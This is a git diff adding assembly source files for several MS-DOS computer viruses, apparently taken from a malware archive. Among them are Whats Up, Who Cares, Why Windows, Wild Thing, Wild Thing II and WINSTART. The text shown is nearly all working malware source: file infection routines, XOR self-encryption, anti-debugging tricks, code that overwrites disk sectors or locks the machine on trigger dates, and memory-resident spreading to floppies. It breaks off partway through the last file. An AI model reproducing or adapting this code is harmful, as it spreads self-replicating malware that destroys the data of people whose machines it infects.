ah,1ah + int 21h + + push ds + mov ax,2524h + lea dx,cs:[err2] + mov ds,dx + lea dx,cs:[err1] + int 21h + pop ds + + mov ah,3bh + mov dx,'/' + int 21h + + mov ah,3bh + lea dx,cs:[orgdir] + int 21h + + xor di,di + mov di,0100h + jmp di ; good_bye + + + + +endcode label byte + + + + +code ends +end begin + + diff --git a/w/WHATSUP.ASM b/w/WHATSUP.ASM new file mode 100755 index 0000000..2688a7e --- /dev/null +++ b/w/WHATSUP.ASM @@ -0,0 +1,300 @@ +; WHATSUP.ASM -- Whats Up Virus +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by Unknown User + +virus_type equ 2 ; Spawning Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +start label near + +main proc near + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + +stop_tracing: mov cx,09EBh + mov ax,0FE05h ; Acutal move, plus a HaLT + jmp $-2 + add ah,03Bh ; AH now equals 025h + jmp $-10 ; Execute the HaLT + mov bx,offset null_vector ; BX points to new routine + push cs ; Transfer CS into ES + pop es ; using a PUSH/POP + int 021h + mov al,1 ; Disable interrupt 1, too + int 021h + jmp short skip_null ; Hop over the loop +null_vector: jmp $ ; An infinite loop +skip_null: mov byte ptr [lock_keys + 1],130 ; Prefetch unchanged +lock_keys: mov al,128 ; Change here screws DEBUG + out 021h,al ; If tracing then lock keyboard + + + mov ah,04Ah ; DOS resize memory function + mov bx,(finish - start) / 16 + 0272h ; BX holds # of para. + int 021h + + mov sp,(finish - start) + 01100h ; Change top of stack + + mov si,offset spawn_name ; SI points to true filename + int 02Eh ; DOS execution back-door + push ax ; Save return value for later + + mov ax,cs ; AX holds code segment + mov ds,ax ; Restore data segment + mov es,ax ; Restore extra segment + + mov cx,0063h ; Do 99 infections +search_loop: push cx ; Save CX + call search_files ; Find and infect a file + pop cx ; Restore CX + loop search_loop ; Repeat until CX is 0 + + pop ax ; AL holds return value + mov ah,04Ch ; DOS terminate function + int 021h +main endp + + + db 06Fh,050h,0CAh,0F9h,065h + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + mov dx,offset root ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + mov dx,offset all_files ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + mov dx,offset up_dir ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + mov dx,offset exe_mask ; DX points to "*.EXE" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +exe_mask db "*.EXE",0 ; Mask for all .EXE files +traverse endp + + db 0B1h,043h,04Ah,043h,07Bh + + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + + db 011h,019h,099h,0B6h,0BDh + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov di,bx ; DI points to the DTA + + lea si,[di + 01Eh] ; SI points to file name + mov dx,si ; DX points to file name, too + mov di,offset spawn_name + 1; DI points to new name + xor ah,ah ; AH holds character count +transfer_loop: lodsb ; Load a character + or al,al ; Is it a NULL? + je transfer_end ; If so then leave the loop + inc ah ; Add one to the character count + stosb ; Save the byte in the buffer + jmp short transfer_loop ; Repeat the loop +transfer_end: mov byte ptr [spawn_name],ah; First byte holds char. count + mov byte ptr [di],13 ; Make CR the final character + + mov di,dx ; DI points to file name + xor ch,ch ; + mov cl,ah ; CX holds length of filename + mov al,'.' ; AL holds char. to search for + repne scasb ; Search for a dot in the name + mov word ptr [di],'OC' ; Store "CO" as first two bytes + mov byte ptr [di + 2],'M' ; Store "M" to make "COM" + + mov byte ptr [set_carry],0 ; Assume we'll fail + mov ax,03D00h ; DOS open file function, r/o + int 021h + jnc infection_done ; File already exists, so leave + mov byte ptr [set_carry],1 ; Success -- the file is OK + + mov ah,03Ch ; DOS create file function + mov cx,00100111b ; CX holds file attributes (all) + int 021h + xchg bx,ax ; BX holds file handle + + call encrypt_code ; Write an encrypted copy + + mov ah,03Eh ; DOS close file function + int 021h + +infection_done: cmp byte ptr [set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +spawn_name db 12,12 dup (?),13 ; Name for next spawn +set_carry db ? ; Set-carry-on-exit flag +infect_file endp + + +vcl_marker db "[VCL]",0 ; VCL creation marker + + +note db "Whats Up Virus" + db "By White Shark" + db "Mess with the White Shark and" + db "you'll be eaten alive!" + +encrypt_code proc near + mov si,offset encrypt_decrypt; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 8],dx ; Low word of timer is new key + + xor byte ptr [si],1 ; + xor byte ptr [si + 7],1 ; Change all SIs to DIs + xor word ptr [si + 10],0101h; (and vice-versa) + + mov di,offset finish ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + mov si,offset write_stuff ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + mov dx,offset start ; DX points to virus + + call finish ; Encrypt/write/decrypt + + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + mov si,offset start_of_code ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main \ No newline at end of file diff --git a/w/WHOCARES.ASM b/w/WHOCARES.ASM new file mode 100755 index 0000000..5ea26b1 --- /dev/null +++ b/w/WHOCARES.ASM @@ -0,0 +1,153 @@ +;**************************************************************************** +; (c) Admiral Bailey and YAM. +; Name: Who Cares Effective Length: 181 bytes +; By Admiral Bailey - Youths Aganst McAfee '93 +; Notes: +; While messing around trying to think up new ideas I came across +; this idea. I different way of infecting. I looked up in VSUM and saw +; another virus that infected this way. Forgot the name but it's something +; different. It infects its files by moving the beginning and placing it at +; the end. It then writes itself to the beginning. In someways its easier +; but if your use to the other way this can get confusing. But its something +; different. Check out the code below. I commented it all. +;**************************************************************************** + + .model tiny + .code + org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files + +Start: + db 0e9h,2,0 ; jmp after ID + dw id ; stick ID here. + + db 0bdh ; move bp,oooo +fileend dw offset heap ; ending of file + +DirLoop: + +; NOTE: You really should move the dta here or else any command line +; parameter will not work. + + mov dx,offset comfilespec ; Files to look for + call findfirst ; no get all the files + + mov si,bp ; move end of file into si + sub si,eof-start ; subtract the filesize + ; and you now have the + ; old beginning location + mov di,100h ; we put it back at the + ; beginning + push di ; save on stack for return + + mov cx,eof-start ; number of bytes to move + +; Now here we put this part in the heap because when moving the bytes back +; it will get overwriten. + + mov byte ptr [bp],0f3h ; rep + mov byte ptr [bp+1],0a4h ; movsb + mov byte ptr [bp+2],0c3h ; ret + + jmp bp ; jump to the end of the file + +FindFirst: + mov ah,4eh ; Find first file + xor cx,cx ; only normal attributes + +FindNext: + int 21h ; Find first/next file int + jc quit ; none found so quit + + call infection ; infect the file found + +FindNext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +Quit: + ret + +Infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,5 ; 5 bytes + mov dx,bp ; store in heap + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp ax,(eof-start)+100 ; Is the file too small? + jb quit_infect ; file to small so get another + + cmp word ptr [bp+3],id ; Check for ID + je quit_infect + + mov bx,80h ; location of DTA + mov dx,word ptr [bx+1ah] ; Get file size from DTA + add dx,eof-start ; add virus size + add dx,100h ; add 100h to fix up + mov [fileend],dx ; save for new bp + + mov al,2 ; open file read/write + call open + + mov ah,3fh ; Read from file + mov cx,eof-start ; Number of bytes + mov dx,bp ; store in heap + int 21h + + mov al,00 ; Move Fpointer to beginning + Call move_fp + + mov ah,40h ; write the virus to the + mov cx,eof-start ; beginning of the file + mov dx,100h ; starting + int 21h + + mov al,02 ; move fpointer to end + call move_fp + + mov ah,40h ; Write beginning of file to + mov cx,eof-start ; end + mov dx,bp ; heap has beginning + int 21h + + mov ah,3eh ; Close file + int 21h + +quit_infect: + + retn + +Move_Fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +Open: + mov ah,3dh ; open file + mov bx,80h ; location of DTA + lea dx,[bx+30] ; Filename in DTA + int 21h + xchg ax,bx ; put file handle in bx + ret + +comfilespec db '*.com',0 ; Holds type of file to look fo + +EOF equ $ ; Marks the end of file + +buffer db 0cdh,020h,0,0,0 ; original file goes here + db eof-start-5 dup (0) + +heap equ $ + + end start + + diff --git a/w/WHY-WIND.ASM b/w/WHY-WIND.ASM new file mode 100755 index 0000000..83c3c55 --- /dev/null +++ b/w/WHY-WIND.ASM @@ -0,0 +1,221 @@ +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +ww proc far + +start: + jmp loc_2 + db 12 dup (90h) + db 0CDh, 20h +loc_2: + jmp short loc_3 + db 90h, 2Ah, 2Eh, 63h, 6Fh, 6Dh + db 00h, 00h +data_8 db 'C:\Command.Com', 0 + db 'C:\Autoexec.Bat', 0 + db 'C:\Config.Sys', 0 + db '\win' +data_12 dw 6F64h + db 'ws\win.com' + db 00h,0E9h, 0Eh, 00h, 90h,0C8h + db 01h +loc_3: + mov bx,101h + mov ah,[bx] + mov bx,102h + mov al,[bx] + xchg al,ah + add ax,3 + mov si,ax + mov ah,1Ah + lea dx,[si+2C8h] + add dx,6 + int 21h + + mov ah,4Eh + lea dx,[si+103h] + mov cx,6 + int 21h + + cmp ax,12h + je loc_7 + lea dx,[si+10Ah] + jmp short loc_6 + db 90h +loc_5: + mov ah,4Dh + int 21h + + mov ah,4Fh + int 21h + + cmp ax,12h + je loc_7 + lea dx,[si+2C8h] + add dx,24h +loc_6: + mov ah,3Dh + mov al,2 + int 21h + + mov bx,ax + mov ah,42h + mov al,2 + mov dx,0 + mov cx,0 + int 21h + + + push ax + sub ax,6 + mov dx,ax + mov ah,42h + mov al,0 + mov cx,0 + int 21h + + + mov ah,3Fh + mov cx,1 + lea dx,[si+14Bh] + int 21h + + + mov ah,byte ptr data_8+30h[si] + cmp ah,42h + jne loc_8 + jmp short loc_5 +loc_7: + jmp short loc_9 + db 90h +loc_8: + mov ah,42h + mov al,0 + mov dx,0 + mov cx,0 + int 21h + + + mov ax,3F00h + mov cx,3 + lea dx,[si+2C8h] + add dx,3 + int 21h + + + mov ax,4200h + mov dx,0 + mov cx,0 + int 21h + + + pop ax + sub ax,3 + mov byte ptr data_8+2Eh[si],al + mov byte ptr data_8+2Fh[si],ah + mov ah,40h + mov cx,3 + lea dx,[si+148h] + int 21h + + + mov ax,4202h + mov dx,0 + mov cx,0 + int 21h + + + mov ah,40h + lea dx,[si+100h] + mov cx,data_12[si] + int 21h + + + mov ax,4000h + lea dx,[si+2C8h] + add dx,3 + mov cx,3 + int 21h + + + jmp short loc_9 + db 90h +loc_9: + mov ah,3Eh + int 21h + + mov ah,41h + lea dx,[si+137h] + int 21h + + mov ah,2Ah + int 21h + + + cmp dh,2 + jne loc_14 + cmp dl,17h + je loc_10 + cmp dl,18h + je loc_11 + cmp dl,19h + je loc_12 + jmp short loc_14 + db 90h +loc_10: + mov ah,3Ch + lea dx,[si+119h] + mov cx,1 + int 21h + + jmp short loc_14 + db 90h +loc_11: + mov ah,3Ch + lea dx,[si+129h] + mov cx,1 + int 21h + + jmp short loc_14 + db 90h +loc_12: + mov al,2 +loc_13: + mov cx,96h + mov dx,0 + int 26h + + + + inc al + cmp al,4 + jne loc_13 +loc_14: + mov cx,3 + lea ax,[si+2C8h] + mov si,ax + mov di,100h + rep movsb + call sub_1 + int 20h + +ww endp + +sub_1 proc near + mov di,offset start + jmp di + db 'Why Windows ' +copyright db '(c)1992 MaZ / BetaBoys B.B' + db 90h, 90h, 90h +sub_1 endp + + +seg_a ends + + + + end start + diff --git a/w/WILDTHG2.ASM b/w/WILDTHG2.ASM new file mode 100755 index 0000000..922b96a --- /dev/null +++ b/w/WILDTHG2.ASM @@ -0,0 +1,341 @@ +;**************************************************************************** +; Wild Thing ][ Virus +; (c) Admiral Bailey - YAM +; Well take a look for yourself. I forgot what this ancient piece of work +; does. :) +;**************************************************************************** + +code segment public 'code' + assume cs:code + org 100h + +start: + db 0e9h ; jump to next command + dw 0 ; just use this + +virus: + call realcode ; push ip on stack + +realcode proc near + pop bp ; will pop ip into bp + nop ; avoid scan as vcl [con] virus + sub bp,offset realcode ; get the loc in file where bov is + nop ; to avoid detection + call encrypt_decrypt ; decrypt the file + +encrypt_start equ $ + + lea si,[bp+offset oldjump] ; put the loc of orig jump in si + mov di,100h ; where we will replace the orig + push di ; for when we retn from the first + ; call + movsw ; move two bytes + movsb ; move one byte + + lea dx,[bp+offset dta] ; offset new dta + call set_dta ; move to new dta + +get_time: + mov ah,2ch ; get current time + int 21h ; + + cmp dh,0 ; is it zero + je get_time ; yup then get another number + + mov [bp+enc_value],dh ; save seconds for encryption + + mov ah,47h ; get current dir + mov dl,0h ; current drive + lea si,[bp+offset currentdir] ; where to store it + int 21h + + + call do_job ; stuff like get date ect.. + + call getcommandcom ; first get the command.com + +findfirst: + mov ah,4eh ; findfirst command + lea dx,[bp+offset filespec] ; load loc of filespec in dx + mov cx,00000111b ; find all attributes + +findnext: + int 21h + + jc change_dir ; none found then change dir + lea dx,[bp+offset dta+1eh] ; file name loc in dta + call infection ; if found file then open it + mov ah,4fh ; find next + jmp findnext + +change_dir: + lea dx,[bp+offset directory]; Directory to change to ".." + mov ah,3bh ; Change dir command + int 21h ; change dir + + jnc findfirst ; if cant change dir then quit + +quit: + lea dx,[bp+offset currentdir] ; original directory + mov ah,3bh ; change directory + int 21h + + mov dx,80h ; return the dta to normal + call set_dta + + mov dh,[bp+enc_value] + cmp dh,2 + ja you_know ; if more than 2 then dont bother + + mov ah,09h ; display string + lea dx,[bp+offset messege] ; loc of string + int 21h + + mov cx,0fffeh +messegeloop: + loop messegeloop ; delay for reader + + db 0eah, 00h, 00h, 0ffh, 0ffh ; reboot + +you_know: + retn ; return to loc 100h + +realcode endp + + +infection proc near + + push dx ; save asciiz file name + + mov ax,4300h ; get file attribs + int 21h + + jc quit2 + + mov [bp+offset old_attrib],cx ; save old attrib + + mov ax,4301h ; set file attribs + xor cx,cx ; set to no attrib + int 21h ; dx already with name + ; old attrib stored in dta 15h + jc infect_quit + + mov ax,3d02h ; open file for read/write + int 21h ; dx is alread with file name + + xchg bx,ax ; put handle in bx + jc infect_quit ; if error opening then get another + + mov ax,5700h ; get file date + int 21h ; return cx:time dx:date + + mov [bp+offset olddate],dx ; save date + mov [bp+offset oldtime],cx ; save time + + mov cx,3 ; read 1st 3 bytes + mov ah,3fh ; read file command + lea dx, [bp+offset oldjump] ; get loc in file where bov is + int 21h ; read the file + + jc closefile ; if error close up and find another + jmp continue_infect + +quit2: + jmp infect_quit + +continue_infect: + push bx ; save this + mov bx,[bp+offset dta+1ah] ; put loc of size into bx + mov ax,bx ; put what bx points to into ax + pop bx ; get original bx + +;--- +; here we check for previous infection... +; thanx go to 40hex-7 article for this method. +;--------- + + mov cx,word ptr [bp+oldjump+1] ; get old jump loc + add cx,eof-virus+3 ; convert to size + cmp ax,cx ; compare + + jz closefile ; if equal get another. + + sub ax,3 ; calculate where the new jump will + ; jump to + mov word ptr [bp+jumploc],ax ; store new jump till later + + xor ax,ax ; beginning of file + call move_fp ; + + mov ah,40h ; write to file + mov cx,3 ; just first three bytes + lea dx,[bp+offset jumpcom] ; what to write + int 21h ; do it. + + mov al,02h ; set file pointer to eof + call move_fp + + call encrypt_infect + +closefile: + mov ax,5701h ; set file date + mov cx,[bp+offset oldtime] + mov dx,[bp+offset olddate] + int 21h + + mov ah,3eh ; close file + int 21h + + pop dx ; get asciiz fname off stack + mov ax,4301h ; set attribs back + mov cx,word ptr [bp+offset old_attrib] ; old attrib + int 21h + + retn + +infect_quit: + + pop dx ; just take the asciiz fname off + ; the stack + retn ; return + +infection endp + +move_fp proc near + + mov ah,42h ; move fp ah has value + xor cx,cx ; clear these + xor dx,dx + int 21h ; do it + retn + +move_fp endp + +do_job proc near + + mov ah,2ah ; get current date + int 21h ; cx=yr dh=month dl=day al=dow + + cmp al,5 ; is it a friday + je display_messege + retn + +display_messege: + mov ah,01h + mov cx,2020h + int 10h ; Hide Cursor + mov ah,02h ; Moves the cursor + xor dx,dx ; + int 10h ; + xor ax,ax ; Clears the screen + int 10h + mov ah,09h ; display friday messege + lea dx,[bp+offset messege2] ; loc of messege + int 21h ; + ; kill drives here if you want + +lock_loop: + jmp lock_loop ; lock the computer + +do_job endp + +getcommandcom proc near + + mov ah,4eh ; find file + lea dx,[bp+offset commandcom] ; 'c:\command.com' + mov cx,7h ; find all attrib + int 21h + + jnc found_command + retn + +found_command: + lea dx,[bp+offset commandcom] ; use this and write to it + call infection + retn + +getcommandcom endp + +set_dta proc near + mov ah, 1ah ; Set disk transfer address + int 21h ; dx has loc + retn ; return +set_dta endp + + +messege db 'Wild Thing ][ ',13,10,'$' +messege2 db 'It''s Friday... Enjoy the weekend with',13,10 + db 'your computer! [YAM ''92]',13,10,'$' +sig db 'By: Admiral Bailey [YAM]' +filespec db '*.com',0 ; type of files to find +commandcom db '\command.com',0 ; loc of command. com +oldjump db 0cdh, 020h, 0h ; to hold the old jump with jmp +directory db '..',0 +old_attrib dw 0h +olddate dw 0h +oldtime dw 0h + +; encrypt_end equ $ + +encrypt_infect proc near + lea si,[bp+offset move_begin] ; source is the procedure + lea di,[bp+offset workarea] ; dest is the workarea + mov cx,move_end-move_begin ; number of bytes to move +move_loop: + movsb ; move the bytes and loop + loop move_loop ; + lea dx,[bp+offset workarea] ; call the procedure in workarea + call dx ; + ret + +move_begin equ $ + lea dx,[bp+offset encrypt_end] + call dx ; call the encrypt procedure + mov ah,40h ; write to file + mov cx,eof-virus ; number of bytes + lea dx,[bp+offset virus] ; where to start + int 21h + lea dx,[bp+offset encrypt_end] ; call encrypt + call dx + ret +move_end equ $ +encrypt_infect endp + +encrypt_end equ $ + +encrypt_decrypt proc near + push bx + lea bx,[bp+encrypt_start] ; encrypt from here + mov cx,encrypt_end-encrypt_start ; length to encrypt + mov dh,[bp+enc_value] ; get the enc value +encrypt_loop: + mov ah,[bx] ; get word + xor ah,dh ; xor it + mov [bx],ah ; put it back + inc bx ; move to next + loop encrypt_loop + pop bx + retn +encrypt_decrypt endp + +enc_value db 0ffh +jumpcom db 0e9h ; jump command + +eof equ $ + +; here on does not stay in the infected files. Its just temp here + +jumploc dw ? ; holds the new jump + +workarea db move_end-move_begin dup (0) + +currentdir db 64 dup (0) ; buffer for current dir + +dta db 42 dup (?) ; holds dta + + +code ends + + end start + + diff --git a/w/WILDTHNG.ASM b/w/WILDTHNG.ASM new file mode 100755 index 0000000..118017d --- /dev/null +++ b/w/WILDTHNG.ASM @@ -0,0 +1,200 @@ +;**************************************************************************** +; +; Wild Thing Virus +; +; By Admiral Bailey - Youths Against McAfee +; +; Ahh the good old days. This is my first com infector. Oh well hope you +; learn something off it. +; +;**************************************************************************** + +code segment public 'code' + assume cs:code, ds:code, ss:code, es:code + org 100h + +bof equ $ ; marks the beginning of the file + +start: + jmp virus + +program db 0cdh,20h,7,8,9 ; just here as a dummy program + ; cd 20 ect. It is also used as a + ; marker to see if the file is + ; infected + +baj equ $ ; marks the beginning after the jmp + +virussize = eof - bof ; automatically calcs the size of the + ; file + +;--- +; This is the beginning... +;--------- +virus: + call realcode ; push loc on stack + +realcode proc near + pop si ; will pop this loc off into si + push si ; and then put it back on so we have + ; the number but dont inturrupt + ; anything + sub si,offset realcode ; get the loc in file where bov is + mov bp,[si+offset oldjump2] ; put in bp where we will jump when + add bp,offset program ; done + +;--- +; This procedure finds the first file in the current dir... +;---------- + mov ah,4eh ; findfirst command + lea dx,[si+offset filespec] ; load loc of filespec in dx + xor cx,cx ; find normal attrib + int 21h + + jc quit ; none found then quit + jmp openfile ; if found file then open it + +;--- +; This quits the program +;--------- +quit: + mov ah,09h + mov dx,si + add dx,offset messege + int 21h + + jmp bp ; jump back to orig program. + +;--- +; If we found a first file then their might be another... here we look for +; more com files. +;--------- +findnext: + mov ah,4fh ; find next file + int 21h + + jc quit ; no more files then quit + +;--- +; This procedure opens the file +;--------- +openfile: + mov ax,3d02h ; open file for read/write + mov dx,80h + 1eh ; file name loc in dta + int 21h + + mov bx,ax ; put handle in bx + jc findnext ; if error opening then get another + +;--- +; Here we read the first three bytes 'jmp XXXX' and store for later... +;-------- + mov cx,3 ; read 1st 3 bytes + mov ah,3fh ; read file command + mov dx, si ; get loc in file where bov is + add dx,offset oldjump ; add offset where we keep read + mov di,dx ; put loc of buffer in di for later + int 21h ; read the file + + jc closefile ; if error close up and find another + + cmp byte ptr [di],0e9h ; is file larger than 256? + jne closefile ; nope then quit + + ; there must be a way I can take out this part + + mov dx,[di+1] ; put the jump value in dx + mov [si+offset oldjump2],dx ; move that jump value by its self + + xor cx,cx ; put 0 in cx + mov ax,4200h ; this will set the file pointer to + ; where the ident. string would be + int 21h + + mov dx,di ; the location buffer + mov cx,2 ; read two bytes only marker + mov ah,3fh ; read bytes + int 21h + + cmp word ptr [di], 807h ; check if file already infected + ; (pop es) + + je closefile ; already infected get another + +;--- +; Now move the file pointer to the end +;--------- + mov ax,4202h ; set file pointer to eof + xor cx,cx ; clear these + xor dx,dx ; + int 21h + + jc closefile ; if error quit + + cmp dx,0 ; is file too large + jne closefile ; yes then quit + + push bx ; save handle on stack + + mov bx, si ; loc of bov in file + add bx,offset newjump ; add offset of new jump + mov [bx],ax ; save new jump + + pop bx ; get handle off stack + +;--- +; Write the virus to end +;--------- + mov ah,40h ; write the virus + mov cx,virussize+3 ; number of bytes + extra + mov dx,si + add dx,offset baj ; where to start writing from + sub dx,3 ; sub 3 because of jump or something + int 21h + + jc closefile ; if error writing quit file + +;--- +; Now we have to move the fp to the beginning of the file +;--------- + mov ax,4200h ; set file pointer to begin + xor cx,cx ; clear this + mov dx,1 ; set right after first jump + int 21h + +;--- +; Now we write back the first bytes... 'jmp viruscode' +;--------- + mov ah,40h ; write to file + mov cx,2 ; just the new jump + mov dx, si + add dx,offset newjump ; where the new jump is + int 21h ; write it... + +;--- +; Close the file +;--------- +closefile: + mov ah,3eh ; close file + int 21h + + jmp findnext ; find another file + + +realcode endp + +messege db 'This is a Wild Thing',13,10 + db 'Programmed By Admiral Bailey [YAM]',13,10 + db '(C) 1992 YAM Inc.',13,10,'$' +filespec db '*.com',0 ; type of files to find +oldjump db 3 dup (0) ; to hold the old jump with jmp +oldjump2 dw 0 ; to hold just the old jump loc +newjump dw 0 ; holds the new jump + +eof equ $ ; marks the total end of the file + +code ends + + end start + + diff --git a/w/WINSTART.ASM b/w/WINSTART.ASM new file mode 100755 index 0000000..53c17e2 --- /dev/null +++ b/w/WINSTART.ASM @@ -0,0 +1,241 @@ +comment * + + +Virus Name: BACTERIA +Aliases: WINSTART +V Status: New computer life form +Discovery: February, 1995 +Symptoms: WINSTART.BAT files appear in C:\ and on half full floppies +Origin: USA +Eff Length: 297 Bytes +Type Code: Re - Extended HMA Memory Resident Non-infecting Bacteria +Detection Method: None +Removal Instructions: See Below + +General Comments: + + The WINSTART BACTERIA is a new form of computer life. It is not + quite a virus. It is not a trojan. It is not a worm. It is a + bacteria. + + It does not spawn or attach or overwrite any files or boot sectors. + It installs when Microsoft Windows starts up. It creates itself on + diskettes. + + The dictionary definition of a bacteria is: + Any of numerous sometimes parasitic unicellular orginisms having + various forms and often causing disease. + + The WINSTART BACTERIA meets this definition. WINSTART is both a + .BAT batch file and a .COM file (various forms). It is unicellular; + it does not mutate and remains a simple batch file WINSTART.BAT. + The WINSTART BACTERIA can travel and install on new computers. It is + not parasitic. WINSTART BACTERIA does not cause disease. + + The way that WINSTART.BAT is started, is to run Microsoft Windows and + have WINSTART.BAT be in the current directory or in the PATH. + WINSTART installs in it's batch file form by running WINSTART.BAT. + After WINSTALL.BAT starts, it copies itself to C:\Q.COM. It then + runs C:\Q.COM. Q.COM renames Q.COM to C:\WINSTART.BAT again. Q.COM + then goes memory resident in the HMA (High Memory Area). If drive + A: or B: become the default drive, WINSTART.BAT will copy itself to + the Diskette in the current directory if the disk is more than half + full. The file date and time of WINSTART.BAT will not be changed to + the current date and time. + + WINSTALL.BAT then travels on data disks. If the contents of the disk + are copied to another system, and Windows is started in the same + directory as the WINSTART.BAT then the process can start all over + again. + + When the WINSTALL.BAT file is started by Windows, WINSTALL.BAT will + move to the root directory of drive C:\. This makes it very easy + to go memory resident next time Windows starts up from the root + directory. + + The WINSTART BACTERIA contains no payload. + + Removal is done by deleting all WINSTART.BAT files. + + * + +;----------------------------------------------------------------------------- + +.286 + + +;designed by "Q" the misanthrope. + + +;tasm winstart /m1 +;tlink winstart /t +;ren winstart.com winstart.bat + + +cseg segment byte public 'CODE' + assume cs:cseg, es:cseg, ss:nothing, ds:cseg + + + org 100h + +batch_file: + + db '@ECHO OFF',0dh,0ah + db ':' + jnc com_code ;goto com_code + jc com_code ;be sure to get there + db 0dh,0ah + db 'COPY %0.BAT ' ;copy batch file to c:\q.com +source_file: db 'C:\Q.COM' +null_terminate: db '>NUL',0dh,0ah ;don't let people see it + db 'C:\Q',0dh,0ah ;run the batch file as com file + db 1ah ;ctrl-z terminate batch file + + +com_code proc near ;set c:\q.com null terminated + mov ax,0b700h ;check install + mov byte ptr ds:[null_terminate],al + int 2fh + cmp al,0ffh + je no_load ;if mem resident bypass move +com_code endp + + +move_to_hma proc near ;allocated hma space + mov di,0ffffh + mov bx,mem_res_end-mem_res_start+05h + mov ax,4a02h ;5 extra bytes for luck + int 2fh + inc di + jz no_load ;di=0 if no hma + push di ;else di=where to load + cld + mov si,offset mem_res_start ;point to mem res code + mov cx,mem_res_end-mem_res_start + rep movsb ;move it to hma +move_to_hma endp + + +hook_in_int_2f proc near + mov ds,cx ;int 2f chain always has + mov si,0706h ;been at address 70:5 + movsw ;copy old int 2f address + movsw ;to hma + pop word ptr ds:[si-04h] ;link in hma code + mov word ptr ds:[si-04h+02h],es +hook_in_int_2f endp + + +no_load proc near ;do some renaming and deletes + push cs + push cs + mov dx,offset source_file ;ren c:\q.com c:\winstart.bat + mov di,offset rename_file + pop ds + pop es + mov ah,56h ;rename it + int 21h + mov ah,41h ;del c:\q.com + int 21h + mov dx,di + inc cx + mov ax,4301h ;set c:\winstart.bat readonly + int 21h + int 20h ;leave the simple way +no_load endp + + +mem_res_start label byte ;memory resident code + + +isr2f proc far + cmp ax,0b700h ;installation check + jne check_command ;also for APPEND + mov al,0ffh + iret +check_command: cmp ax,0ae00h ;check if installable command + je next_test ;used by APPEND +goto_onward: jmp onward +next_test: cmp dx,0ffffh + jne goto_onward + cmp ch,dh + jne goto_onward + pusha + push ds + push cs + pop ds + mov ah,19h ;get default drive + int 21h + mov ah,36h ;get free disk space + cwd ;default drive + cmp al,01h ;above drive b: + ja pop_n_go ;then not interested + int 21h + shr dx,1 ;divide total clusters by 2 + cmp bx,dx ;is the disk half full or half + call rename_offset ;such a simple way to get dx +rename_file db 